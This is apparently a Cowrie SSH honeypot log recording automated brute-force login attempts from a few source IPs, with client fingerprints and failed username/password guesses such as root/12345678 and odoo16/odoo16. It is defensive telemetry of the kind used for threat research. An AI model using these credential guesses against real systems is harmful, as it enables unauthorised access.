{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:12.344716Z","src_ip":"5.196.136.131","session":"062bfe87abcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41587,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f670827c71","protocol":"ssh","message":"New connection: 5.196.136.131:41587 (10.17.0.5:22) [session: 15f670827c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:15.382240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:15.385996Z","src_ip":"5.196.136.131","session":"15f670827c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:15.466786Z","src_ip":"5.196.136.131","session":"15f670827c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:15.711598Z","src_ip":"5.196.136.131","session":"15f670827c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:16.795323Z","src_ip":"5.196.136.131","session":"15f670827c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.1.220.166","src_port":45020,"dst_ip":"10.17.0.5","dst_port":22,"session":"93304f6ba7bf","protocol":"ssh","message":"New connection: 1.1.220.166:45020 (10.17.0.5:22) [session: 93304f6ba7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.667295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.671122Z","src_ip":"1.1.220.166","session":"93304f6ba7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":65345,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14c0e4bdceb","protocol":"ssh","message":"New connection: 5.196.136.131:65345 (10.17.0.5:22) [session: e14c0e4bdceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.792076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.795380Z","src_ip":"5.196.136.131","session":"e14c0e4bdceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.871313Z","src_ip":"5.196.136.131","session":"e14c0e4bdceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:19.936532Z","src_ip":"1.1.220.166","session":"93304f6ba7bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:20.102315Z","src_ip":"5.196.136.131","session":"e14c0e4bdceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022@1","message":"login attempt [root/unitedstates2022@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:20.727621Z","src_ip":"1.1.220.166","session":"93304f6ba7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:21.180948Z","src_ip":"5.196.136.131","session":"e14c0e4bdceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:21.994609Z","src_ip":"1.1.220.166","session":"93304f6ba7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18205,"dst_ip":"10.17.0.5","dst_port":22,"session":"539a5f9710f9","protocol":"ssh","message":"New connection: 5.196.136.131:18205 (10.17.0.5:22) [session: 539a5f9710f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:24.173745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:24.180007Z","src_ip":"5.196.136.131","session":"539a5f9710f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:24.282420Z","src_ip":"5.196.136.131","session":"539a5f9710f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:24.520792Z","src_ip":"5.196.136.131","session":"539a5f9710f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:25.599761Z","src_ip":"5.196.136.131","session":"539a5f9710f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17350,"dst_ip":"10.17.0.5","dst_port":22,"session":"5529f0f999ca","protocol":"ssh","message":"New connection: 5.196.136.131:17350 (10.17.0.5:22) [session: 5529f0f999ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:28.669939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:28.673716Z","src_ip":"5.196.136.131","session":"5529f0f999ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:28.749978Z","src_ip":"5.196.136.131","session":"5529f0f999ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:28.979232Z","src_ip":"5.196.136.131","session":"5529f0f999ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:30.058131Z","src_ip":"5.196.136.131","session":"5529f0f999ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17139,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f235ce33ffe","protocol":"ssh","message":"New connection: 5.196.136.131:17139 (10.17.0.5:22) [session: 7f235ce33ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:33.187072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:33.193135Z","src_ip":"5.196.136.131","session":"7f235ce33ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:33.268508Z","src_ip":"5.196.136.131","session":"7f235ce33ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:33.496396Z","src_ip":"5.196.136.131","session":"7f235ce33ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:34.575398Z","src_ip":"5.196.136.131","session":"7f235ce33ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":33122,"dst_ip":"10.17.0.5","dst_port":22,"session":"204f1797a3d4","protocol":"ssh","message":"New connection: 5.196.136.131:33122 (10.17.0.5:22) [session: 204f1797a3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:37.608660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:37.612264Z","src_ip":"5.196.136.131","session":"204f1797a3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:37.687292Z","src_ip":"5.196.136.131","session":"204f1797a3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:37.913439Z","src_ip":"5.196.136.131","session":"204f1797a3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:38.990121Z","src_ip":"5.196.136.131","session":"204f1797a3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30928,"dst_ip":"10.17.0.5","dst_port":22,"session":"07425daa511d","protocol":"ssh","message":"New connection: 5.196.136.131:30928 (10.17.0.5:22) [session: 07425daa511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:41.992581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:41.995805Z","src_ip":"5.196.136.131","session":"07425daa511d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:42.071217Z","src_ip":"5.196.136.131","session":"07425daa511d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:42.314965Z","src_ip":"5.196.136.131","session":"07425daa511d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:43.393316Z","src_ip":"5.196.136.131","session":"07425daa511d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10096,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65f9d33daf7","protocol":"ssh","message":"New connection: 5.196.136.131:10096 (10.17.0.5:22) [session: b65f9d33daf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:46.438350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:46.442007Z","src_ip":"5.196.136.131","session":"b65f9d33daf7","protocol":"ssh"}
